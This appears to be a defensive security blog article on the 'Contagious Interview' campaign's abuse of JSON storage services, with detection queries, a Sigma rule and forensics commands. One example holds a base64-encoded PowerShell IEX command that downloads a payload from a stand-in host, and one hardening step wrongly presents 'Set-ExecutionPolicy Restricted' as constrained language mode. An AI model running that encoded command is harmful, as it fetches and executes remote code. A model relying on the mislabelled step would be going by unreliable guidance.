The JSON Menace: How Threat Actors Are Turning Benign Cloud Services Into Malware Hotbeds

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Introduction:

A sophisticated threat actor known as Contagious Interview has evolved its tactics, moving away from traditional malware distribution channels to abuse legitimate JSON storage services. This shift demonstrates a concerning trend in the cybersecurity landscape where attackers increasingly leverage trusted cloud platforms to bypass security controls and deliver malicious payloads. Security teams must now adapt their detection strategies to identify anomalous patterns in what appears to be legitimate web traffic.

Learning Objectives:

  • Understand how JSON storage services are being weaponized for malware distribution
  • Learn to detect and analyze malicious JSON payloads in network traffic
  • Implement defensive measures against cloud service abuse in enterprise environments

You Should Know:

1. The Attack Chain: From JSON to Compromise

The Contagious Interview campaign demonstrates a sophisticated multi-stage attack methodology. Attackers begin by uploading malicious configuration data to legitimate JSON storage services like JSONBin, MyJSON, or Pastebin-style platforms. This JSON contains encoded commands, download links, or configuration data for malware retrieval. The initial compromise vector typically involves phishing emails or malicious documents that contain references to these JSON endpoints.

Step-by-step guide explaining what this does and how to use it:
1. Threat actors register accounts on legitimate JSON storage services

2. They upload malicious configuration data containing:

  • Base64-encoded PowerShell commands
  • URLs to secondary payloads
  • C2 server configuration
  • Execution parameters
  1. The malicious document or script fetches this JSON configuration
  2. The JSON is parsed and executed, downloading the final payload
  3. The malware establishes persistence and communicates with C2 servers

2. Analyzing Malicious JSON Payloads

Security analysts must be able to identify suspicious patterns in JSON data fetched from external services. Malicious JSON often contains unusual encoding, excessive whitespace characters, or embedded script elements that shouldn’t be present in legitimate configuration files.

Step-by-step guide explaining what this does and how to use it:
1. Capture network traffic using tools like Wireshark or tcpdump:

tcpdump -i any -w capture.pcap port 443 or port 80

2. Extract JSON responses from HTTP traffic:

tshark -r capture.pcap -Y "http.response" -T fields -e http.file_data > extracted_data.json

3. Analyze JSON structure for anomalies:

  • Look for base64-encoded values in unusual fields
  • Check for excessive escaping or unusual character sequences
  • Identify embedded script elements or unusual object names

3. Detecting JSON-Based C2 Communication

Command and control communication via JSON storage services creates distinctive patterns in network traffic. Unlike traditional C2 channels, this method involves regular polling of specific URLs with predictable intervals.

Step-by-step guide explaining what this does and how to use it:

1. Monitor outbound requests to JSON storage services:

 Linux: Monitor connections to known JSON services
lsof -i | grep -E '(jsonbin|myjson|pastebin)'

Windows: Check network connections
netstat -an | findstr "443"

2. Implement SIEM rules to detect patterns:

 Splunk query for suspicious JSON fetching
index=network (jsonbin.io OR myjson.com OR pastebin.com) 
| stats count by src_ip, dest_ip, url
| where count > 5

3. Set up alerts for regular intervals of requests to these services

4. PowerShell Obfuscation Techniques in JSON Payloads

Attackers commonly embed heavily obfuscated PowerShell commands within JSON configuration files. These commands are designed to evade signature-based detection while maintaining functionality.

Step-by-step guide explaining what this does and how to use it:

1. Common obfuscation patterns to detect:

  • Excessive use of backticks and semicolons
  • String reversal and concatenation
  • Base64 encoding within PowerShell commands
  • IEX (Invoke-Expression) usage with encoded parameters

2. Decode suspicious PowerShell commands:

 Decode base64-encoded commands found in JSON
$encodedCommand = "SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbQBhAGwAaQBjAGkAbwB1AHMALgBjAG8AbQAvAHAAYQB5AGwAbwBhAGQALgBlAHgAZQAnACkA"
$decodedCommand = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encodedCommand))
Write-Output $decodedCommand

5. Implementing Application Allowlisting for JSON Services

Organizations can mitigate this threat by implementing granular controls over which external services can be accessed and what type of content can be processed.

Step-by-step guide explaining what this does and how to use it:

1. Deploy web proxy filtering rules:

  • Category: “Storage Services” or “Productivity”
  • Action: Block with exceptions for business-required services
  • Content filtering: Block file types (.exe, .dll, .ps1) from these domains

2. Implement PowerShell Constrained Language Mode:

 Set execution policy with constrained language mode
Set-ExecutionPolicy -ExecutionPolicy Restricted -Force

Or deploy via Group Policy:
 Computer Configuration -> Administrative Templates -> Windows Components -> Windows PowerShell

3. Configure application control policies:

 Windows: Deploy AppLocker or WDAC policies
 Linux: Implement selinux or apparmor profiles for browser processes

6. Memory Analysis for JSON-Triggered Malware

When JSON-based malware executes, it leaves distinctive artifacts in memory that can be detected through forensic analysis.

Step-by-step guide explaining what this does and how to use it:

1. Capture memory for analysis:

 Linux: Use LiME
insmod lime.ko "path=/tmp/memory.dump format=lime"

Windows: Use DumpIt or Belkasoft RAM Capturer

2. Search for JSON-related artifacts in memory:

 Using Volatility on memory capture
volatility -f memory.dump --profile=Win10x64_19041 yarascan -Y "jsonbin|myjson"
volatility -f memory.dump --profile=Win10x64_19041 cmdline | grep -i powershell

3. Extract and decode embedded scripts from memory regions

7. Building Behavioral Detections for JSON Abuse

Signature-based detection is insufficient for this evolving threat. Security teams must implement behavioral analytics that identify anomalous patterns in how applications interact with JSON services.

Step-by-step guide explaining what this does and how to use it:

1. Implement EDR rules for suspicious behavior:

  • Process: winword.exe making HTTP requests to JSON storage services
  • Process: excel.exe spawning powershell.exe with encoded commands
  • Network: Regular polling intervals to external JSON endpoints

2. Create custom Sigma rules for detection:

title: Suspicious JSON Service Access from Office Applications
status: experimental
description: Detects Microsoft Office applications making requests to JSON storage services
logsource:
category: proxy
detection:
selection:
c-uri|contains:
- 'jsonbin.io'
- 'myjson.com'
- 'pastebin.com'
c-useragent|contains:
- 'Microsoft Office'
condition: selection

What Undercode Say:

  • The abuse of legitimate JSON services represents a significant evolution in attacker tradecraft, enabling them to bypass traditional URL filtering and reputation-based defenses
  • Organizations must shift from purely signature-based detection to behavior-focused analytics that can identify anomalous patterns in what appears to be legitimate traffic

The Contagious Interview campaign demonstrates how threat actors continuously adapt to security controls. By leveraging trusted JSON storage services, attackers create a paradox for defenders: blocking these services may impact business operations, while allowing them creates risk. This necessitates a nuanced security approach that combines technical controls with user education and robust monitoring. The campaign underscores that modern malware distribution increasingly relies on abusing trust in legitimate services rather than technical exploitation alone.

Prediction:

The abuse of JSON and other data storage services for malware distribution will accelerate as more threat actors adopt this technique. We anticipate seeing expanded abuse of API-based services across various cloud platforms, with attackers increasingly using multiple legitimate services in chain to obscure their activities. This will force security vendors to develop more sophisticated behavioral detection capabilities and push organizations toward zero-trust architectures where all external service access is treated as potentially malicious.

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Reported By: Efstratioslontzetidis Contagious – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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